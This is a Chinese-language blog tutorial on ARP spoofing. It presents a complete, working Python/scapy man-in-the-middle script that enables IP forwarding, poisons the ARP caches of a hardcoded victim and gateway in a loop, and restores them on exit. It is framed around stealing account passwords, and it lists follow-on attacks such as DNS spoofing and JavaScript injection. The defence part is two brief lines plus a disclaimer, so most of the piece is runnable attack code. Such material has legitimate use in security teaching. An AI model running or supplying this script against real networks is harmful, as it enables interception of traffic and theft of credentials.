用Python演示ARP攻击的过程及应对办法

我们经常在电影中看到黑客能够轻松获取到别人的账号密码信息,那么现实中真的这么容易吗?今天我来带大家了解一下黑客是如何获取到别人的账号和密码信息的。

在网路中获取别人的账号密码其实不难,最简单的就是数据监听或钓鱼,那么如何进行网络数据监听呢?arp欺骗可以实现,他能进行dns欺骗和网络钓鱼的基础,通过arp欺骗我们成为了中间人,对别人电脑的通讯数据截取和伪造修改,下面我们来详细讲解一下arp欺骗。

什么是ARP欺骗

这是一种技术,攻击者可以通过该技术将欺骗性的ARP数据包(虚假数据包)发送到网络(或特定主机)上,从而使攻击者能够即时拦截,更改或修改网络流量。

一旦您(作为攻击者)成为中间人,您就可以截取或更改传入或传出受害者设备的所有网络数据报文内容。因此,在本教程中,我们将编写一个Python脚本来做到这一点。

在常规网络中,所有设备均正常地与网关通信,然后再与Internet通信,如下图所示:

现在,攻击者需要将ARP响应发送到两个主机:

向网关发送ARP响应,说“我有受害者的IP地址”。

向受害者发送ARP响应,说“我有网关的IP地址”。



一旦攻击者如上图所示执行ARP Spoof攻击,他/她将处于中间人的情况:


一旦受害者发送了任何数据包(例如HTTP请求),它将首先传递到攻击者的计算机,然后将数据包转发到网关,因此您可能会注意到,受害者对此一无所知,换句话说,他/她将无法弄清楚自己正在受到攻击。

实战演示

好了,理论说完了!在开始之前,您需要安装所需的库:

pip3 install scapy

如果您使用的是Windows,请查看本教程以使Scapy在您的计算机上正常工作。此外,您需要安装pywin32,如下所示:

pip3 install pywin32

编写Python脚本

首先,我们需要导入必要的模块:

from scapy.all import Ether, ARP, srp, send  import argparse  import time  import os  import sys

首先,我需要提到我们需要启用IP路由(即IP转发)。

在多种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,供您在Windows中启用IP路由。

对于类Unix用户(本教程建议的平台),您所需要做的就是编辑文件“ / proc / sys / net / ipv4 / ip_forward” ,该文件需要root用户访问权,并将值1表示已启用,或者使用以下python代码:

def _enable_linux_iproute():     """     Enables IP route ( IP Forward ) in linux-based distro     """     file_path = "/proc/sys/net/ipv4/ip_forward"     with open(file_path) as f:         if f.read() == 1:             # already enabled             return     with open(file_path, "w") as f:         print(1, file=f)

对于Windows用户,复制 services.py到当前目录后,代码如下:

def _enable_windows_iproute():     """     Enables IP route (IP Forwarding) in Windows     """     from services import WService     # enable Remote Access service     service = WService("RemoteAccess")     service.start()

好了,我们把以上代码合起来,这样兼容windows和类Unix系统的所有平台:

def enable_ip_route(verbose=True):     """     Enables IP forwarding     """     if verbose:         print("[!] Enabling IP Routing...")     _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()     if verbose:         print("[!] IP Routing enabled.") 

首先,我们需要一个实用程序功能,使我们能够获取网络中任何计算机的MAC地址,代码如下:

def get_mac(ip):     """     Returns MAC address of any device connected to the network     If ip is down, returns None instead     """     ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)     if ans:         return ans[0][1].src

我们使用Scapy的srp()函数以数据包的形式发送请求,并不断监听响应,在这种情况下,我们正在发送ARP请求并监听任何ARP响应。

其次,我们将创建一个功能来完成本教程的核心工作,给定目标IP地址和主机IP地址,它会更改目标IP地址的ARP缓存,说我们拥有主机的IP地址:

def spoof(target_ip, host_ip, verbose=True):     """     Spoofs `target_ip` saying that we are `host_ip`.     it is accomplished by changing the ARP cache of the target (poisoning)     """     # get the mac address of the target     target_mac = get_mac(target_ip)     # craft the arp 'is-at' operation packet, in other words; an ARP response     # we don't specify 'hwsrc' (source MAC address)     # because by default, 'hwsrc' is the real MAC address of the sender (ours)     arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')     # send the packet     # verbose = 0 means that we send the packet without printing any thing     send(arp_response, verbose=0)     if verbose:         # get the MAC address of the default interface we are using         self_mac = ARP().hwsrc         print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

上面的代码获取目标的MAC地址,制作恶意ARP应答(响应)数据包,然后将其发送。

一旦我们想停止攻击,就需要将真实地址重新分配给目标设备(以及网关),如果不这样做,受害者将失去互联网连接,那么受害人就会发现异常了,通常的做法就是我们将依次发送七个合法的ARP回复数据包,代码如下:

def restore(target_ip, host_ip, verbose=True):     """     Restores the normal process of a regular network     This is done by sending the original informations      (real IP and MAC of `host_ip` ) to `target_ip`     """     # get the real MAC address of target     target_mac = get_mac(target_ip)     # get the real MAC address of spoofed (gateway, i.e router)     host_mac = get_mac(host_ip)     # crafting the restoring packet     arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)     # sending the restoring packet     # to restore the network to its normal process     # we send each reply seven times for a good measure (count=7)     send(arp_response, verbose=0, count=7)     if verbose:         print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

现在我们需要编写主要的代码,欺骗受害主机直到按下CTRL + C,代码如下:

if __name__ == "__main__":     # victim ip address     target = "192.168.1.100"     # gateway ip address     host = "192.168.1.1"     # print progress to the screen     verbose = True     # enable ip forwarding     enable_ip_route()     try:         while True:             # telling the `target` that we are the `host`             spoof(target, host, verbose)             # telling the `host` that we are the `target`             spoof(host, target, verbose)             # sleep for one second             time.sleep(1)     except KeyboardInterrupt:         print("[!] Detected CTRL+C ! restoring the network, please wait...")         restore(target, host)         restore(host, target)

我在Linux机器上运行了脚本,这是我的结果的屏幕截图:

在此示例中,如果您尝试检查ARP缓存,确定将我的个人计算机用作受害者:

您将看到攻击者的MAC地址(在本例中为“ 192.168.1.105”)与网关的相同,欺骗成功了。

在攻击者的计算机上,当您单击CTRL + C关闭程序时,以下是还原过程的屏幕截图:


回到受害者机器,您将看到网关的原始MAC地址已还原:

如何应对攻击

攻击成功后,攻击者还可以做很多的事情。例如,您可以在HTML响应中注入javascript代码,对目标进行DNS欺骗,拦截文件并即时对其进行修改,网络嗅探和监视、钓鱼等等。

那么如何组织arp攻击呢?

★、关闭路由器的dhcp功能,添加ip地址与mac地址静态绑定功能。

★、本地添加网关的ip地址与mac地址静态绑定。

这就是arp欺骗的python用法及应对办法,本文旨在解密攻击原理与过程及应对办法,请勿用作其他非法用途。

关注我,每天更新一篇技术好文,下一节我将揭秘一下python中的dns欺骗的过程。

版权声明:

作者: freeclashnode

链接: https://www.freeclashnode.com/news/article-951.htm

来源: FreeClashNode

文章版权归作者所有,未经允许请勿转载。

免费节点实时更新

热门文章

最新文章

归档